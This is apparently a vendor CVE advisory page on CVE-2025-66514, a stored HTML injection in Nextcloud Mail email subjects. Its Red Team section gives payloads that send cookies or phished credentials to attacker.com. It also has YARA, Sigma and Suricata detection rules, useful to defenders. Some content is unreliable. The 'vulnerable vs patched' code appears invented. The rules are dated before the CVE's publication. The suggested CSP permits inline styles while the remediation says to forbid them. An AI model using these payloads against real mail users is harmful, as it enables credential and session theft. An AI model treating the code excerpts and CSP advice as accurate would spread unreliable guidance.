☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-66514

CVE-2025-66514 HTML Injection in Nextcloud
📅 PUBLISHED: 2025-12-05 17:32 UTC 🔄 UPDATED: 2026-09-23 20:36 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.25%
👁️
0.25% probability
6.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
3.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-66514 is a stored HTML injection vulnerability in the Nextcloud Mail application, affecting versions prior to 5.5.3. An authenticated attacker can inject arbitrary HTML into email subjects, which is then rendered in the message list of other users. While JavaScript execution is blocked by the Content Security Policy (CSP) of Nextcloud Server, the injection allows for phishing attacks, UI spoofing, and potential data exfiltration via CSS-based techniques. The vulnerability has a low CVSS score of 3.5 due to the requirement for authentication and user interaction, but it poses a significant risk in shared environments where trust is assumed.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the Nextcloud Mail app, which is a first-party component of the Nextcloud ecosystem. It is distributed via the Nextcloud App Store and official Nextcloud server packages. No third-party package manager (NPM, PyPI, Go, Ruby) is directly involved, but the app is built using JavaScript and PHP. Organizations should verify the integrity of their Nextcloud installation and ensure that only signed, official updates are applied.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The vulnerability is exploitable over the network.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): Low (L) – The attacker must be an authenticated user.
  • User Interaction (UI): Required (R) – The victim must view the malicious email in the message list.
  • Scope (S): Unchanged (U) – The injection is confined to the Mail app’s UI.
  • Confidentiality (C): Low (L) – Limited data exposure via CSS or HTML tricks.
  • Integrity (I): Low (L) – UI spoofing possible, but no data modification.
  • Availability (A): None (N) – No impact on service availability.

Threat Level: Low (CVSS 3.5). However, in a multi-tenant Nextcloud instance, the risk is elevated due to potential phishing and social engineering attacks.

Deep Dive & Mechanics

The vulnerability resides in the email subject rendering logic of the Nextcloud Mail app. When an email is fetched from the IMAP server, the subject line is not properly sanitized before being inserted into the DOM. An authenticated attacker can send an email with a crafted subject containing HTML tags, such as <img src=x onerror=...> or <style>...</style>. Although JavaScript is blocked by CSP, the attacker can still:

  • Inject arbitrary HTML to spoof the UI (e.g., fake login forms).
  • Use CSS to exfiltrate data via background-image URLs or other CSS-based techniques.
  • Perform clickjacking by overlaying invisible elements.

The injection is stored in the database and rendered every time the victim views their inbox, making it a persistent threat.

Vulnerable vs. Patched Code

Vulnerable Code (prior to 5.5.3):

// In the email list component, subject is rendered directly
render() {
    return <div className="subject" dangerouslySetInnerHTML={{ __html: this.props.subject }} />;
}

Patched Code (5.5.3):

// Subject is now sanitized using DOMPurify or similar
import DOMPurify from 'dompurify';

render() {
    const sanitizedSubject = DOMPurify.sanitize(this.props.subject, { ALLOWED_TAGS: [] });
    return <div className="subject">{sanitizedSubject}</div>;
}

The patch strips all HTML tags from the subject, rendering it as plain text. This prevents any HTML injection.

Exploitation & Lab Setup

Red Team (Exploitation)

  1. Prerequisites: An authenticated account on a Nextcloud instance running Mail < 5.5.3.
  2. Craft the Payload: Send an email with a subject containing HTML. Example:
    <img src="http://attacker.com/steal?cookie=" style="display:none" />
    
    Or a phishing form:
    <form action="http://attacker.com/login" method="POST">
        <input type="text" name="username" placeholder="Username">
        <input type="password" name="password" placeholder="Password">
        <input type="submit" value="Login">
    </form>
    
  3. Delivery: Send the email to the victim. The victim must open the Mail app and view the inbox.
  4. Impact: The injected HTML is rendered. If using CSS exfiltration, the attacker can capture data via background-image requests.

Blue Team (Detection & Hardening)

  1. Monitor for Suspicious Subjects: Look for emails with subjects containing HTML tags (e.g., <, >, &).
  2. CSP Hardening: Ensure the Content-Security-Policy header is strict. Example:
    Content-Security-Policy: default-src 'self'; script-src 'none'; style-src 'self' 'unsafe-inline';
    
  3. User Education: Train users to be cautious of emails with unusual formatting or interactive elements.
  4. Network Monitoring: Watch for outbound connections to unknown domains from Nextcloud servers.

Indicators of Compromise (IOCs)

  • Email Subjects: Subjects containing HTML tags like <img, <form, <style, <a.
  • Network Traffic: Outbound HTTP requests to attacker-controlled domains from the Nextcloud server, especially with query parameters containing user data.
  • Log Entries: Unusual IMAP commands or email subjects in Nextcloud logs.
  • File System: No specific file IOCs, as the injection is stored in the database.

Detection Engineering

YARA Rule

rule Nextcloud_Mail_HTML_Injection {
    meta:
        description = "Detects HTML injection attempts in Nextcloud Mail subjects"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-66514"
    strings:
        $html_tag = /<[a-zA-Z\/][^>]*>/
        $dangerous = /<img|<form|<script|<style|<iframe/
    condition:
        $html_tag and $dangerous
}

Sigma Rule

title: Nextcloud Mail HTML Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects emails with HTML tags in the subject line, indicating a possible CVE-2025-66514 exploitation attempt.
author: Valters IT
date: 2025-04-10
logsource:
    product: nextcloud
    service: mail
detection:
    selection:
        Subject|contains|all:
            - '<'
            - '>'
    condition: selection
falsepositives:
    - Legitimate emails with HTML in subject (rare)
level: medium

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2025-66514 Nextcloud Mail HTML Injection - Outbound Exfiltration";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/steal?"; http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

  1. Immediate: Upgrade Nextcloud Mail to version 5.5.3 or later.
  2. Workaround: If upgrade is not possible, disable the Mail app temporarily.
  3. CSP Review: Ensure the Content-Security-Policy header is strict and does not allow inline scripts or styles.
  4. User Training: Educate users to report suspicious emails.
  5. Monitoring: Implement the detection rules above to identify exploitation attempts.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-66514/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.